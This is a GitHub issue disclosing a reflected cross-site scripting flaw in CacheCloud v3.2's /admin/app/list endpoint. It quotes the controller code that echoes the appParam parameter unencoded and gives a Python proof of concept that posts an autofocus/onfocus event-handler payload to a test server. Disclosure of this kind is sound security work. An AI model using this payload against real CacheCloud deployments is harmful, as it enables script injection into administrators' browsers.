Skip to content

XSS vulnerability on /admin/app/list #381

@NinjaGPT

Description

@NinjaGPT

XSS vulnerability on /admin/app/list

Summary

In the latest version (v3.2) of CacheCloud, the endpoint /admin/app/list does not encode user-controllable parameters when outputting them on web page, resulting in XSS vulnerability. This allows attackers to launch XSS attacks against users.

Details

  • SOURCE & SINK
// src/main/java/com/sohu/cache/web/controller/AppController.java#L700-L760
700:    @RequestMapping({"/list"})
701:    public ModelAndView doAppList(HttpServletRequest request, HttpServletResponse response, Model model, String appParam, AppSearch appSearch, String userId) {
702:       AppUser currentUser = this.getUserInfo(request);
703:       model.addAttribute("currentUser", currentUser);
704:       int userAppCount = this.appService.getUserAppCount(currentUser.getId());
705:       if (userAppCount == 0 && !AppUserTypeEnum.ADMIN_USER.value().equals(currentUser.getType())) {
706:          return new ModelAndView("redirect:/admin/app/init");
707:       } else {
708:          if (appSearch.getAppStatus() == null) {
709:             appSearch.setAppStatus(AppStatusEnum.STATUS_PUBLISHED.getStatus());
710:          }
711: 
712:          if (!StringUtils.isEmpty(appParam)) {
713:             if (StringUtils.isNumeric(appParam)) {
714:                appSearch.setAppId(Long.parseLong(appParam));
715:             } else {
716:                appSearch.setAppName(appParam);
717:             }
718:          }
719: 
720:          if (StringUtils.isNotEmpty(userId)) {
721:             appSearch.setUserId(NumberUtils.toLong(userId));
722:          }
723: 
724:          int totalCount = this.appService.getAppDescCount(currentUser, appSearch);
725:          int pageNo = NumberUtils.toInt(request.getParameter("pageNo"), 1);
726:          int pageSize = NumberUtils.toInt(request.getParameter("pageSize"), 10);
727:          Page page = new Page(pageNo, pageSize, totalCount);
728:          model.addAttribute("page", page);
729:          appSearch.setPage(page);
730:          List<AppDesc> apps = this.appService.getAppDescList(currentUser, appSearch);
731:          List<AppDetailVO> appDetailList = new ArrayList();
732:          model.addAttribute("appDetailList", appDetailList);
733:          List<SystemResource> resourcelist = this.resourceService.getResourceList(ResourceEnum.REDIS.getValue());
734:          long totalApplyMem = 0L;
735:          long totalUsedMem = 0L;
736:          long totalApps = 0L;
737:          if (apps != null && apps.size() > 0) {
738:             for(AppDesc appDesc : apps) {
739:                AppDetailVO appDetail = this.appStatsCenter.getAppDetail(appDesc.getAppId());
740:                appDetailList.add(appDetail);
741:                totalApplyMem += appDetail.getMem();
742:                totalUsedMem = (long)((double)totalUsedMem + appDetail.getMemUsePercent() * (double)appDetail.getMem() / (double)100.0F);
743:                ++totalApps;
744:                appDetail.getAppDesc().setBizGroup(appDesc.getBizGroup());
745:             }
746:          }
747: 
748:          List<AppUser> userList = this.userService.getAllUser();
749:          List<AppBiz> bizList = this.userService.getBizList();
750:          model.addAttribute("userList", userList);
751:          model.addAttribute("bizList", bizList);
752:          model.addAttribute("appParam", appParam);
753:          model.addAttribute("resourcelist", resourcelist);
754:          model.addAttribute("totalApps", totalApps);
755:          model.addAttribute("totalApplyMem", totalApplyMem);
756:          model.addAttribute("totalUsedMem", totalUsedMem);
757:          return new ModelAndView("app/appList");
758:       }
759:    }
760:

POC

import requests
from requests.sessions import Session
class CustomSession(Session):
    def request(
        self,
        method,
        url,
        params = None,
        data = None,
        headers = None,
        cookies = None,
        files = None,
        auth = None,
        timeout = None,
        allow_redirects = True,
        proxies = None,
        hooks = None,
        stream = None,
        verify = None,
        cert = None,
        json = None,
    ):
        arg_names = (
            'method', 'url', 'params', 'data', 'headers', 'cookies', 'files', 'auth', 'timeout',
            'allow_redirects', 'proxies', 'hooks', 'stream', 'verify', 'cert', 'json'
        )
        local_variables = locals()
        local_variables = {n: local_variables[n] for n in local_variables if n in arg_names}
        
        local_variables['headers'] = local_variables.get('headers') or dict()
        local_variables['headers'].update({'origin': 'http://34.169.199.145:40101', 'referer': 'http://34.169.199.145:40101/admin/app/list?clickTimestamp=1763075321951', 'User-Agent': 'oxpecker', 'accept-language': 'en-US', 'upgrade-insecure-requests': '1'})
        return super().request(**{n: local_variables[n] for n in local_variables if n in arg_names})
requests.sessions.Session = CustomSession
# ================================== Poc Start ===================================
import requests
url = 'http://34.169.199.145:40101/admin/app/list'
payload = {'appParam': 'X" tabindex="1" AuTOfoCus OnfoCUs=alert("zast-xss")//'}
response = requests.post(url, data=payload, verify=False, allow_redirects=False)
print('Status Code:', response.status_code)
print('Text:', response.text)
# =================================== Poc End ====================================
  • Screenshot
Image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions